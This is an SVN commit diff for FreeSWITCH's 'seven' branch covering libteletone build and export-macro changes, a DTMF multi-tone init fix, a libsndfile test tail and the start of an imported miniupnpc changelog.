+	test_seek_or_die (file, 2 * items, SEEK_SET, 2 * items, info.channels, __LINE__) ;
+
+	test_writef_short_or_die (file, 0, orig, items, __LINE__) ;
+	sf_close (file) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &info, SF_FALSE, __LINE__) ;
+	test_read_short_or_die (file, 0, test, 3 * items, __LINE__) ;
+	sf_close (file) ;
+
+	/* Can't do these formats due to scaling. */
+	switch (format & SF_FORMAT_SUBMASK)
+	{	case SF_FORMAT_PCM_S8 :
+		case SF_FORMAT_PCM_U8 :
+			return ;
+		default :
+			break ;
+		} ;
+
+	for (k = 0 ; k < items ; k++)
+	{	exit_if_true (test [k] != 0x3fff, "Line %d : test [%d] == %d, should be 0x3fff.\n", __LINE__, k, test [k]) ;
+		exit_if_true (test [items + k] != 0, "Line %d : test [%d] == %d, should be 0.\n", __LINE__, items + k, test [items + k]) ;
+		exit_if_true (test [2 * items + k] != 0x3fff, "Line %d : test [%d] == %d, should be 0x3fff.\n", __LINE__, 2 * items + k, test [2 * items + k]) ;
+		} ;
+
+	return ;
+} /* write_seek_extend_test */
+
+

Property changes: freeswitch/branches/seven/libs/libteletone


Name: svn:ignore
   - Makefile.in
configure
Debug
Release
*.ncb
*.user
*.bak
config.log
.complete
.libs
.deps
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
debug
   + Makefile.in
configure
Debug
Release
*.ncb
*.user
*.bak
config.log
.complete
.libs
.deps
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
debug
x64

Modified: freeswitch/branches/seven/libs/libteletone/AUTHORS (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/AUTHORS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,11 +1,11 @@
 The Initial Developer of the Original Code is
-Anthony Minessale II <anthmct@yahoo.com>
+Anthony Minessale II <anthm@freeswitch.org>
 Portions created by the Initial Developer are Copyright (C)
 the Initial Developer. All Rights Reserved.
 
 The PRIMARY AUTHORS are (and/or have been):
 
- Anthony Minessale II <anthmct@yahoo.com> - Primary developer of all core components
+ Anthony Minessale II <anthm@freeswitch.org> - Primary developer of all core components
  	and many of the included modules.  Much of freeswitch is based on his work.
  
  Michael Jerris <mike@jerris.com> - Windows porter and responsible for the 

Copied: freeswitch/branches/seven/libs/libteletone/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/libteletone/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/libteletone/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/libteletone/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+cmake_minimum_required(VERSION 2.6)
+
+INCLUDE_DIRECTORIES(include/) 
+
+SET ( teletone_SRCS src/libteletone.h src/libteletone_detect.c src/libteletone_detect.h src/libteletone_generate.c src/libteletone_generate.h)
+ADD_LIBRARY(teletone STATIC ${teletone_SRCS})
+
+
+
+
+
+
+

Modified: freeswitch/branches/seven/libs/libteletone/configure.in (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/configure.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/configure.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,11 +7,16 @@
 AM_INIT_AUTOMAKE(libteletone,0.1)
 AC_CONFIG_SRCDIR([src])
 
+# disable checks
+m4_defun([_LT_AC_LANG_CXX_CONFIG], [:])
+m4_defun([_LT_AC_LANG_F77_CONFIG], [:])
+
 # Checks for programs.
 AC_PROG_CC
 AC_PROG_MAKE_SET
 AC_PROG_LIBTOOL
 AC_PROG_INSTALL
+
 #  Optimize
 AC_ARG_ENABLE(optimization,
 [AC_HELP_STRING([--enable-optimization],[Set if you want us to add max optimising compiler flags])],[enable_optimizer="$enableval"],[enable_optimizer="no"])
@@ -64,6 +69,77 @@
                 new_AM_LDFLAGS=""
         ;;
 esac
+
+#
+# gcc visibility cflag checks
+#
+AC_ARG_ENABLE([visibility],
+	[AS_HELP_STRING([--disable-visibility], [Disable or enable API visibility support (default: use if available)])],
+	[enable_visibility="${enableval}"],
+	[enable_visibility="detect"]
+)
+HAVE_VISIBILITY="no"
+
+if test "x${enable_visibility}" != "xno" ; then
+
+	case "${ax_cv_c_compiler_vendor}" in
+	gnu)
+		save_CFLAGS="${CFLAGS}"
+		CFLAGS="${CFLAGS} -fvisibility=hidden"
+		AC_MSG_CHECKING([whether the compiler supports -fvisibility=hidden])
+		AC_COMPILE_IFELSE(
+			[AC_LANG_PROGRAM(
+				[int foo __attribute__ ((visibility("default")));],
+				[;]
+			)],
+
+			[AC_MSG_RESULT([yes])
+			 new_AM_CFLAGS="${new_AM_CFLAGS} -fvisibility=hidden"
+			 AC_DEFINE([HAVE_VISIBILITY], [1], [GCC visibility support available])
+			 HAVE_VISIBILITY="yes"],
+
+			[AC_MSG_RESULT([no])]
+		)
+		CFLAGS="${save_CFLAGS}"
+		;;
+
+	sun)
+		save_CFLAGS="${CFLAGS}"
+		CFLAGS="${CFLAGS} -xldscope=hidden"
+		AC_MSG_CHECKING([whether the compiler supports -xldscope=hidden])
+		AC_COMPILE_IFELSE(
+			[AC_LANG_PROGRAM(
+				[int foo __attribute__ ((visibility("default")));],
+				[;]
+			)],
+
+			[AC_MSG_RESULT([yes])
+			 new_AM_CFLAGS="${new_AM_CFLAGS} -xldscope=hidden"
+			 AC_DEFINE([HAVE_VISIBILITY], [1], [SUNCC visibility support available])
+			 HAVE_VISIBILITY="yes"],
+
+			[AC_MSG_RESULT([no])]
+		)
+		CFLAGS="${save_CFLAGS}"
+		;;
+
+	*)
+		if test "x${enable_visibility}" = "xyes" ; then
+			AC_MSG_ERROR([Non-GNU / SUN compilers are currently unsupported])
+		else
+			AC_MSG_WARN([Non-GNU / SUN compilers are currently unsupported])
+		fi
+		;;
+	esac
+
+	#
+	# visibility explicitly requested but not supported by this compiler => error
+	#
+	if test "x${enable_visibility}" = "xyes" -a "x${HAVE_VISIBILITY}" = "xno" ; then
+		AC_MSG_ERROR([API visibility not supported by this compiler])
+	fi
+fi
+
 AC_SUBST(new_AM_CFLAGS)
 AC_SUBST(new_AM_LDFLAGS)
 

Modified: freeswitch/branches/seven/libs/libteletone/libteletone.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/libteletone.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/libteletone.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -42,7 +45,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="src"
-				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;TELETONE_EXPORTS"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -93,6 +96,84 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;TELETONE_EXPORTS"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				ModuleDefinitionFile="$(InputDir)teletone.def"
+				OptimizeReferences="1"
+				EnableCOMDATFolding="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(IntDir)/$(TargetName).lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(SolutionDir)Release"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -118,7 +199,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="src"
-				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;TELETONE_EXPORTS"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="4"
@@ -164,6 +245,80 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;TELETONE_EXPORTS"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				ModuleDefinitionFile="$(InputDir)teletone.def"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(IntDir)/$(TargetName).lib"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/libteletone/libteletone.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/libteletone.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/libteletone.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,7 +41,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="src"
-				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;TELETONE_EXPORTS"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
@@ -119,7 +119,7 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				AdditionalIncludeDirectories="src"
-				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;TELETONE_EXPORTS"
 				RuntimeLibrary="2"
 				UsePrecompiledHeader="0"
 				WarningLevel="4"

Modified: freeswitch/branches/seven/libs/libteletone/src/libteletone.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/src/libteletone.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/src/libteletone.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -110,6 +110,32 @@
 #define teletone_assert(expr) assert(expr)
 #endif
 
+#ifdef _MSC_VER
+#if defined(TT_DECLARE_STATIC)
+#define TELETONE_API(type)			type __stdcall
+#define TELETONE_API_NONSTD(type)		type __cdecl
+#define TELETONE_API_DATA
+#elif defined(TELETONE_EXPORTS)
+#define TELETONE_API(type)			__declspec(dllexport) type __stdcall
+#define TELETONE_API_NONSTD(type)		__declspec(dllexport) type __cdecl
+#define TELETONE_API_DATA				__declspec(dllexport)
+#else
+#define TELETONE_API(type)			__declspec(dllimport) type __stdcall
+#define TELETONE_API_NONSTD(type)		__declspec(dllimport) type __cdecl
+#define TELETONE_API_DATA				__declspec(dllimport)
+#endif
+#else
+#if (defined(__GNUC__) || defined(__SUNPRO_CC) || defined (__SUNPRO_C)) && defined(HAVE_VISIBILITY)
+#define TELETONE_API(type)		__attribute__((visibility("default"))) type
+#define TELETONE_API_NONSTD(type)	__attribute__((visibility("default"))) type
+#define TELETONE_API_DATA		__attribute__((visibility("default")))
+#else
+#define TELETONE_API(type)		type
+#define TELETONE_API_NONSTD(type)	type
+#define TELETONE_API_DATA
+#endif
+#endif
+
 #include <libteletone_generate.h>
 #include <libteletone_detect.h>
 

Modified: freeswitch/branches/seven/libs/libteletone/src/libteletone_detect.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/src/libteletone_detect.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/src/libteletone_detect.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -116,7 +116,7 @@
 	goertzel_state->fac = tdesc->fac;
 }
 
-void teletone_goertzel_update(teletone_goertzel_state_t *goertzel_state,
+TELETONE_API(void) teletone_goertzel_update(teletone_goertzel_state_t *goertzel_state,
 							  int16_t sample_buffer[],
 							  int samples)
 {
@@ -135,7 +135,7 @@
 
 #define teletone_goertzel_result(gs) (double)(((gs)->v3 * (gs)->v3 + (gs)->v2 * (gs)->v2 - (gs)->v2 * (gs)->v3 * (gs)->fac))
 
-void teletone_dtmf_detect_init (teletone_dtmf_detect_state_t *dtmf_detect_state, int sample_rate)
+TELETONE_API(void) teletone_dtmf_detect_init (teletone_dtmf_detect_state_t *dtmf_detect_state, int sample_rate)
 {
 	int i;
 	float theta;
@@ -169,15 +169,21 @@
 	dtmf_detect_state->mhit = 0;
 }
 
-void teletone_multi_tone_init(teletone_multi_tone_t *mt, teletone_tone_map_t *map)
+TELETONE_API(void) teletone_multi_tone_init(teletone_multi_tone_t *mt, teletone_tone_map_t *map)
 {
 	float theta = 0;
 	int x = 0;
 
-	if(!mt->min_samples) {
+	if (!mt->sample_rate) {
+		mt->sample_rate = 8000;
+	}
+
+	if (!mt->min_samples) {
 		mt->min_samples = 102;
 	}
 
+	mt->min_samples *= (mt->sample_rate / 8000);
+
 	if (!mt->positive_factor) {
 		mt->positive_factor = 2;
 	}
@@ -190,10 +196,6 @@
 		mt->hit_factor = 2;
 	}
 
-	if (!mt->sample_rate) {
-		mt->sample_rate = 8000;
-	}
-
 	for(x = 0; x < TELETONE_MAX_TONES; x++) {
 		if ((int) map->freqs[x] == 0) {
 			break;
@@ -207,7 +209,7 @@
 
 }
 
-int teletone_multi_tone_detect (teletone_multi_tone_t *mt,
+TELETONE_API(int) teletone_multi_tone_detect (teletone_multi_tone_t *mt,
 								int16_t sample_buffer[],
 								int samples)
 {
@@ -297,7 +299,7 @@
 }
 
 
-int teletone_dtmf_detect (teletone_dtmf_detect_state_t *dtmf_detect_state,
+TELETONE_API(int) teletone_dtmf_detect (teletone_dtmf_detect_state_t *dtmf_detect_state,
 						  int16_t sample_buffer[],
 						  int samples)
 {
@@ -428,7 +430,7 @@
 }
 
 
-int teletone_dtmf_get (teletone_dtmf_detect_state_t *dtmf_detect_state,
+TELETONE_API(int) teletone_dtmf_get (teletone_dtmf_detect_state_t *dtmf_detect_state,
 					   char *buf,
 					   int max)
 {

Modified: freeswitch/branches/seven/libs/libteletone/src/libteletone_detect.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/src/libteletone_detect.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/src/libteletone_detect.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -202,7 +202,7 @@
 	  \param mt the multi-frequency tone descriptor
 	  \param map a representation of the multi-frequency tone
 	*/
-	void teletone_multi_tone_init(teletone_multi_tone_t *mt, teletone_tone_map_t *map);
+TELETONE_API(void) teletone_multi_tone_init(teletone_multi_tone_t *mt, teletone_tone_map_t *map);
 
 	/*! 
 	  \brief Check a sample buffer for the presence of the mulit-frequency tone described by mt
@@ -211,7 +211,7 @@
 	  \param samples the number of samples present in sample_buffer
 	  \return true when the tone was detected or false when it is not
 	*/
-	int teletone_multi_tone_detect (teletone_multi_tone_t *mt,
+TELETONE_API(int) teletone_multi_tone_detect (teletone_multi_tone_t *mt,
 									int16_t sample_buffer[],
 									int samples);
 
@@ -220,7 +220,7 @@
 	  \param dtmf_detect_state the DTMF detection state to initilize
 	  \param sample_rate the desired sample rate
 	*/
-	void teletone_dtmf_detect_init (teletone_dtmf_detect_state_t *dtmf_detect_state, int sample_rate);
+TELETONE_API(void) teletone_dtmf_detect_init (teletone_dtmf_detect_state_t *dtmf_detect_state, int sample_rate);
 
 	/*! 
 	  \brief Check a sample buffer for the presence of DTMF digits
@@ -229,7 +229,7 @@
 	  \param samples the number of samples present in sample_buffer
 	  \return true when DTMF was detected or false when it is not
 	*/
-	int teletone_dtmf_detect (teletone_dtmf_detect_state_t *dtmf_detect_state,
+TELETONE_API(int) teletone_dtmf_detect (teletone_dtmf_detect_state_t *dtmf_detect_state,
 							  int16_t sample_buffer[],
 							  int samples);
 	/*! 
@@ -239,7 +239,7 @@
 	  \param max the maximum length of buf
 	  \return the number of characters written to buf
 	*/
-	int teletone_dtmf_get (teletone_dtmf_detect_state_t *dtmf_detect_state,
+TELETONE_API(int) teletone_dtmf_get (teletone_dtmf_detect_state_t *dtmf_detect_state,
 						   char *buf,
 						   int max);
 
@@ -249,7 +249,7 @@
 	  \param sample_buffer an array aof 16 bit signed linear samples
 	  \param samples the number of samples present in sample_buffer
 	*/
-	void teletone_goertzel_update(teletone_goertzel_state_t *goertzel_state,
+TELETONE_API(void) teletone_goertzel_update(teletone_goertzel_state_t *goertzel_state,
 								  int16_t sample_buffer[],
 								  int samples);
 

Modified: freeswitch/branches/seven/libs/libteletone/src/libteletone_generate.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/src/libteletone_generate.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/src/libteletone_generate.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -79,7 +79,7 @@
 #pragma warning(disable:4706)
 #endif
 
-int16_t TELETONE_SINES[SINE_TABLE_MAX] = {
+TELETONE_API_DATA int16_t TELETONE_SINES[SINE_TABLE_MAX] = {
 	0x00c9, 0x025b, 0x03ed, 0x057f, 0x0711, 0x08a2, 0x0a33, 0x0bc4,
 	0x0d54, 0x0ee4, 0x1073, 0x1201, 0x138f, 0x151c, 0x16a8, 0x1833,
 	0x19be, 0x1b47, 0x1cd0, 0x1e57, 0x1fdd, 0x2162, 0x22e5, 0x2467,
@@ -99,7 +99,7 @@
 };
 
 
-int teletone_set_tone(teletone_generation_session_t *ts, int index, ...)
+TELETONE_API(int) teletone_set_tone(teletone_generation_session_t *ts, int index, ...)
 {
 	va_list ap;
 	int i = 0;
@@ -115,7 +115,7 @@
 	
 }
 
-int teletone_set_map(teletone_tone_map_t *map, ...)
+TELETONE_API(int) teletone_set_map(teletone_tone_map_t *map, ...)
 {
 	va_list ap;
 	int i = 0;
@@ -131,7 +131,7 @@
 	
 }
 
-int teletone_init_session(teletone_generation_session_t *ts, int buflen, tone_handler handler, void *user_data)
+TELETONE_API(int) teletone_init_session(teletone_generation_session_t *ts, int buflen, tone_handler handler, void *user_data)
 {
 	memset(ts, 0, sizeof(*ts));
 	ts->rate = 8000;
@@ -174,7 +174,7 @@
 	return 0;
 }
 
-int teletone_destroy_session(teletone_generation_session_t *ts)
+TELETONE_API(int) teletone_destroy_session(teletone_generation_session_t *ts)
 {
 	if (ts->buffer) {
 		free(ts->buffer);
@@ -203,7 +203,7 @@
 	return 0;
 }
 
-int teletone_mux_tones(teletone_generation_session_t *ts, teletone_tone_map_t *map)
+TELETONE_API(int) teletone_mux_tones(teletone_generation_session_t *ts, teletone_tone_map_t *map)
 {
 	/*teletone_process_t period = (1.0 / ts->rate) / ts->channels;*/
 	int i, c;
@@ -318,7 +318,7 @@
 	return (char *) memcpy (new, s, len);
 }
 
-int teletone_run(teletone_generation_session_t *ts, const char *cmd)
+TELETONE_API(int) teletone_run(teletone_generation_session_t *ts, const char *cmd)
 {
 	char *data = NULL, *cur = NULL, *end = NULL;
 	int var = 0, LOOPING = 0;

Modified: freeswitch/branches/seven/libs/libteletone/src/libteletone_generate.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libteletone/src/libteletone_generate.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libteletone/src/libteletone_generate.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -106,7 +106,7 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <math.h>
-#if !defined(powf)
+#if !defined(powf) && !defined(_WIN64)
 extern float powf (float, float);
 #endif
 #include <string.h>
@@ -137,7 +137,7 @@
 /* 3.02 represents twice the power */
 #define DBM0_MAX_POWER (3.14f + 3.02f)
 
-extern int16_t TELETONE_SINES[SINE_TABLE_MAX];
+TELETONE_API_DATA extern int16_t TELETONE_SINES[SINE_TABLE_MAX];
 
 static __inline__ int32_t teletone_dds_phase_rate(teletone_process_t tone, uint32_t rate)
 {
@@ -255,7 +255,7 @@
   \param ... up to TELETONE_MAX_TONES frequencies terminated by 0.0
   \return 0
 */
-int teletone_set_tone(teletone_generation_session_t *ts, int index, ...);
+TELETONE_API(int) teletone_set_tone(teletone_generation_session_t *ts, int index, ...);
 
 /*! 
   \brief Assign a set of tones to a single tone map
@@ -263,7 +263,7 @@
   \param ... up to TELETONE_MAX_TONES frequencies terminated by 0.0
   \return 0
 */
-int teletone_set_map(teletone_tone_map_t *map, ...);
+TELETONE_API(int) teletone_set_map(teletone_tone_map_t *map, ...);
 
 /*! 
   \brief Initilize a tone generation session
@@ -273,14 +273,14 @@
   \param user_data optional user data to send
   \return 0
 */
-int teletone_init_session(teletone_generation_session_t *ts, int buflen, tone_handler handler, void *user_data);
+TELETONE_API(int) teletone_init_session(teletone_generation_session_t *ts, int buflen, tone_handler handler, void *user_data);
 
 /*! 
   \brief Free the buffer allocated by a tone generation session
   \param ts the tone generation session to destroy
   \return 0
 */
-int teletone_destroy_session(teletone_generation_session_t *ts);
+TELETONE_API(int) teletone_destroy_session(teletone_generation_session_t *ts);
 
 /*! 
   \brief Execute a single tone generation instruction
@@ -288,7 +288,7 @@
   \param map the tone mapping to use for the frequencies
   \return 0
 */
-int teletone_mux_tones(teletone_generation_session_t *ts, teletone_tone_map_t *map);
+TELETONE_API(int) teletone_mux_tones(teletone_generation_session_t *ts, teletone_tone_map_t *map);
 
 /*! 
   \brief Execute a tone generation script and call callbacks after each instruction
@@ -296,7 +296,7 @@
   \param cmd the script to execute
   \return 0
 */
-int teletone_run(teletone_generation_session_t *ts, const char *cmd);
+TELETONE_API(int) teletone_run(teletone_generation_session_t *ts, const char *cmd);
 
 #ifdef __cplusplus
 }

Copied: freeswitch/branches/seven/libs/miniupnpc (from rev 14471, freeswitch/trunk/libs/miniupnpc)

Deleted: freeswitch/branches/seven/libs/miniupnpc/Changelog.txt

Copied: freeswitch/branches/seven/libs/miniupnpc/Changelog.txt (from rev 14471, freeswitch/trunk/libs/miniupnpc/Changelog.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/Changelog.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/Changelog.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,250 @@
+$Id: Changelog.txt,v 1.80 2009/04/17 21:21:19 nanard Exp $
+miniUPnP client Changelog.
+
+2009/04/17:
+  updating python module
+  Use strtoull() when using C99
+
+2009/02/28:
+  Fixed miniwget.c for compiling under sun
+
+2008/12/18:
+  cleanup in Makefile (thanks to Paul de Weerd)
+  minissdpc.c : win32 compatibility
+  miniupnpc.c : changed xmlns prefix from 'm' to 'u'
+  Removed NDEBUG (using DEBUG)
+
+2008/10/14:
+  Added the ExternalHost argument to DeletePortMapping()
+
+2008/10/11:
+  Added the ExternalHost argument to AddPortMapping()
+  Put a correct User-Agent: header in HTTP requests.
+
+VERSION 1.2 :
+
+2008/10/07:
+  Update docs
+
+2008/09/25:
+  Integrated sameport patch from Dario Meloni : Added a "sameport"
+  argument to upnpDiscover().
+
+2008/07/18:
+  small modif to make Clang happy :)
+
+2008/07/17:
+  #define SOAPPREFIX "s" in miniupnpc.c in order to remove SOAP-ENV... 
+
+2008/07/14:
+  include declspec.h in installation (to /usr/include/miniupnpc)
+
+VERSION 1.1 :
+
+2008/07/04:
+  standard options for install/ln instead of gnu-specific stuff.
+
+2008/07/03:
+  now builds a .dll and .lib with win32. (mingw32)
+
+2008/04/28:
+  make install now install the binary of the upnpc tool
+
+2008/04/27:
+  added testupnpigd.py
+  added error strings for miniupnpc "internal" errors
+  improved python module error/exception reporting.
+
+2008/04/23:
+  Completely rewrite igd_desc_parse.c in order to be compatible with 
+  Linksys WAG200G
+  Added testigddescparse
+  updated python module
+
+VERSION 1.0 :
+
+2008/02/21:
+  put some #ifdef DEBUG around DisplayNameValueList()
+
+2008/02/18:
+  Improved error reporting in upnpcommands.c
+  UPNP_GetStatusInfo() returns LastConnectionError
+
+2008/02/16:
+  better error handling in minisoap.c
+  improving display of "valid IGD found" in upnpc.c
+
+2008/02/03:
+  Fixing UPNP_GetValidIGD()
+  improved make install :)
+
+2007/12/22:
+  Adding upnperrors.c/h to provide a strupnperror() function 
+  used to translate UPnP error codes to string.
+
+2007/12/19:
+  Fixing getDevicesFromMiniSSDPD()
+  improved error reporting of UPnP functions
+
+2007/12/18:
+  It is now possible to specify a different location for MiniSSDPd socket.
+  working with MiniSSDPd is now more efficient.
+  python module improved.
+
+2007/12/16:
+  improving error reporting
+
+2007/12/13:
+  Try to improve compatibility by using HTTP/1.0 instead of 1.1 and
+  XML a bit different for SOAP.
+
+2007/11/25:
+  fixed select() call for linux
+
+2007/11/15:
+  Added -fPIC to CFLAG for better shared library code.
+
+2007/11/02:
+  Fixed a potential socket leak in miniwget2()
+
+2007/10/16:
+  added a parameter to upnpDiscover() in order to allow the use of another
+  interface than the default multicast interface.
+
+2007/10/12:
+  Fixed the creation of symbolic link in Makefile
+
+2007/10/08:
+  Added man page
+
+2007/10/02:
+  fixed memory bug in GetUPNPUrls()
+
+2007/10/01:
+  fixes in the Makefile
+  Added UPNP_GetIGDFromUrl() and adapted the sample program accordingly.
+  Added SONAME in the shared library to please debian :)
+  fixed MS Windows compilation (minissdpd is not available under MS Windows).
+
+2007/09/25:
+  small change to Makefile to be able to install in a different location
+  (default is /usr)
+
+2007/09/24:
+  now compiling both shared and static library
+
+2007/09/19:
+  Cosmetic changes on upnpc.c
+
+2007/09/02:
+  adapting to new miniSSDPd (release version ?)
+
+2007/08/31:
+  Usage of miniSSDPd to skip discovery process.
+
+2007/08/27:
+  fixed python module to allow compilation with Python older than Python 2.4
+
+2007/06/12:
+  Added a python module.
+
+2007/05/19:
+  Fixed compilation under MinGW
+
+2007/05/15:
+  fixed a memory leak in AddPortMapping()
+  Added testupnpreplyparse executable to check the parsing of
+  upnp soap messages
+  minixml now ignore namespace prefixes.
+
+2007/04/26:
+  upnpc now displays external ip address with -s or -l
+
+2007/04/11:
+  changed MINIUPNPC_URL_MAXSIZE to 128 to accomodate the "BT Voyager 210"
+
